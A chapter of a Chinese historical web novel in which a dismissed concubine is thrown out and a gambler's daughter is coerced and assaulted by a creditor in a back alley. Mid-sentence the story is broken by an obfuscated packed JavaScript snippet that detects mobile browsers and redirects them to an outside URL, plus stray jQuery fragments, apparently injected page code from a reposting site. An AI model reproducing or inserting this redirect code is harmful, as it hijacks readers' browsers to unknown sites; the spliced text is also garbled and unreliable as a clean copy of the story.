“为什么?”
“为什么?”
“妾犯了什么错?”
得知要被遣散的消息,舒婧宣满眼的不可置信,直到现在都没有反应过来,她大闹,疯狂质问。
陆管家站在门口,眉头紧皱,他只管办好世子的事,不想与她多费口舌,便吩咐小厮,将她的行李收拾完带出。
两名小厮动作很快,把抽屉柜子桌面的东西一一收尽行囊里,一阵叮铃作响。
舒婧宣睁着滚圆双眸,上前推开那两人,不准他们动她的东西。
陆管家眼神一瞥,又示意两个人上前,小厮架住她,强行将她拖到世子府后门。
眼看就要被赶出大门,她心中绝望,大喊一声,“她根本就不是庄雪苑!我要见世子!”
陆管家挡在她面前,目光晦暗,面上却没有丝毫反应,只道:“她是谁,世子自有定夺。世子给的遣散金不菲,姑娘不要不知好歹。”
她双瞳怔住,陆管家不想再多费时间,抬手示意门口的侍卫,侍卫了然,横刀在前,一步步逼退她,直到她的脚步退出大门,侍卫才收起刀,“舒姑娘保重。”
‘砰’的一声,门重重关上。
舒婧宣僵在原地。
良久,她的眼睛眨了下,看着一旁地上散落的行李,仿若一盆冰冷彻骨的水从头倾泻浇下,遍体生寒。
她自小就被卖入王府,她的父母早就不要她了,她没有家了。
眼前一片灰暗,她的身体像行尸走肉般,一顿一顿下着台阶。
*
琼华苑,关宁宁坐在窗边,支着下巴,一脸忧心忡忡,她被留下,但却丝毫没有开心的样子,心里依旧战战兢兢,担忧哪日就会轮到自己。
这时,一张纸条,从窗棂处飞进来,正好落在案几上。
她瞳孔放大,朝窗外望去,可什么异样都没看到。
她疑惑地拿起纸条,还未见字,指尖粘上一丝黏腻,一抹殷红刺入她的眼睛,是血!
手指下意识颤了一下,她迅速打开,上面一个个血字。
“女儿,救我。荣尾街后巷,速见。”
字迹歪歪扭扭,但她仍能认出是她爹的字迹,一双漂亮的蛾眉拧起。
定是她爹又惹了事,她心中又气又恨,早想着不再管他,让他自生自灭,可又怕仇家找上娘亲和弟弟。
她攥紧拳头,恨不得将纸条揉碎了。
*
天空阴沉沉的,像蒙上了一层灰雾。
关宁宁打扮得很低调,一身不起眼的白色,独自一人前去,酉时三刻,到达荣尾街后巷。
小巷里,张从坐在椅子上,小厮给他捏着肩,他闭着眼睛,一脸享受。
而他旁边,地上蜷缩着一个人,头发乱糟糟的,右手血肉模糊,不停地抖动,一条腿以异样的姿势扭曲着,嘴里不停地发出呻吟声。
察觉到来人,张从慢慢睁开眼睛,语气不善,“夫人好大的面子啊,本公子在这足足等了你一个时辰。”
听此,地上那人动了动,似是使出最后的力气,哀嚎出声,声音却是嘶哑的,“女儿......救我。”
饶是她恨极了他,但看到他这幅狼狈不堪的样子,心依旧揪了一下。
她扭头朝张从质问道:“你凭什么打伤他?“
张从嗤笑出声,下巴努努,指向地上那人,一副玩世不恭的语气,“他的腿可是他自己赔给我的。”
“还是你自己问问你爹,他都做了什么。”
目光移向她爹爹关畅,只见他抱着腿,嘴里发出断断续续的呻吟,一副说不出话的样子。
“看来你爹不好意思说啊。”张从满眼讥讽,特意扬高了语调,”你爹可是欠了本公子一千两黄金。“
她惊诧地瞪大了双眼,又看向她爹,关畅听此,眼神闪躲,头也缩起来。
她更生气了,冲着他恨恨咬牙,“你又去赌了。”
旋即心中冷笑一声,简直无可救药,如今还管他作甚,枉她见到他的血书还在焦心他,不过是他自作自受。
“你们之间的事情,你们自己解决,跟我没有关系。”
她一脸漠然,说完,毫不犹豫转身。
“不知道你娘和你弟弟值多少钱?”张从慢悠悠地开口。
传到她耳里,却如一道惊雷炸响,她脚步立刻顿住。
“你爹的这条腿就算十两吧。”他的声音继续传来,“还剩下九百九十两黄金。”
她攥紧了指节,胸腔内抑制不住的愤怒上涌,就算她把世子赏给她金银细软全部拿出来也不够。
“你究竟想要什么?”她僵硬地转身,目光冷冷地盯着他。
看她表情,张从心情大好,自从沾上世子府,他就处处吃瘪,如今连走路都不能,只能坐在这椅子上,还要等上百日才能好,简直度日如年。
在京都的地界,他哪里受过这样的气?
“那个......”张从手指抵着额头,“你身边的婢女叫什么来着?”
关宁宁冷哼一声,一时语快,脱口道:“她根本不是什么婢女,是男扮女装潜入世子府的刺客。”
张从听得懵了一下,下一刻,仰天哈哈大笑起来,而后又叹息一声,咬牙切齿地说道:“凌渐台的命怎么这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702813|208239||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么硬,他怎么就不死呢?”
可即将到手的小娘子还是没了,他心中始终不得劲。上下打量起关宁宁来,最后视线定格在她的脸上,眼里放出精光,“夫人的长相也是国色天香,那就夫人赔吧。”
惹不过凌渐台,一个小小的娘子,他还不能拿捏吗?
看着他贪婪的眼神,她心中泛起一阵恶心,骂道:“滚!”
然而张从却没恼,咧开大嘴,得意忘形地笑着,笑完了,一双吊梢眼露出刻薄,开口直往她心窝子戳,“庄雪苑回来了,还有你什么事?你迟早会被他赶出去的。”
听此,关宁宁浑身一僵,瞬间泄了气,眼皮下意识耷拉下来,一种前所未有的慌张席卷了全身。
“还不如提早跟了我。”张从一脸色眯眯地看着她。
说着,示意小厮推动轮椅,一步步朝她靠近。
看着张从那张越来越近的脸,她脑子轰得一下,后退一步,吼道:“滚开,死瘸子!”
这话落到张从耳边,他瞪大了眼睛,有些不可思议,面目扭曲起来,狰狞道:“贱人!”
“还不是因为你这个贱人!”
关宁宁吓坏了,作势要跑。
一旁两个小厮很有眼色地追上来,将她抓住,押到张从面前。
张从无法起身,关宁宁虽被押着,弓着身子,但依旧俯视着他。
他胸腔几乎要气炸,嘴角不停地抽动。
小厮见状,一脚踹向她的膝窝,她吃痛,膝盖弯了下去。
张从一把拽住她的头发,狠狠把她往地上压,“贱人,你再怎么不甘心,还不是跪在本公子的脚下。”
额头重重磕在地上,嘴唇被磨出了血,她浑身颤抖着。
“我给你一天时间考虑。”他又将她头发拽起,迫使她的脸对着自己,“明日午后,我在这里等你。”
他嘴角渗着笑意,眼睛却瞪得很大,抬手一下一下拍向她的脸,“要是见不到人,等你被赶出来的那一天,你就惨了。”
*
回世子府的路上,关宁宁整个人失魂落魄,一双杏眼中透着惊惧,再无往日的神采。
不知不觉间,进入世子府,竟走到世子所在的竹苑。再熟悉不过的庭院,此刻却显得陌生。
一阵风迎面吹来,碰到她渗血的唇,又冷又疼,她倒吸了一口气。
世子真的不在乎她了吗?
可若不在乎,又为何遣散所有的姬妾,独留下她一个人。
可她留下的这几日,世子却从未寻过她。
一种随时被抛弃的恐惧,像一把剑悬在头上,时时刻刻折磨着她。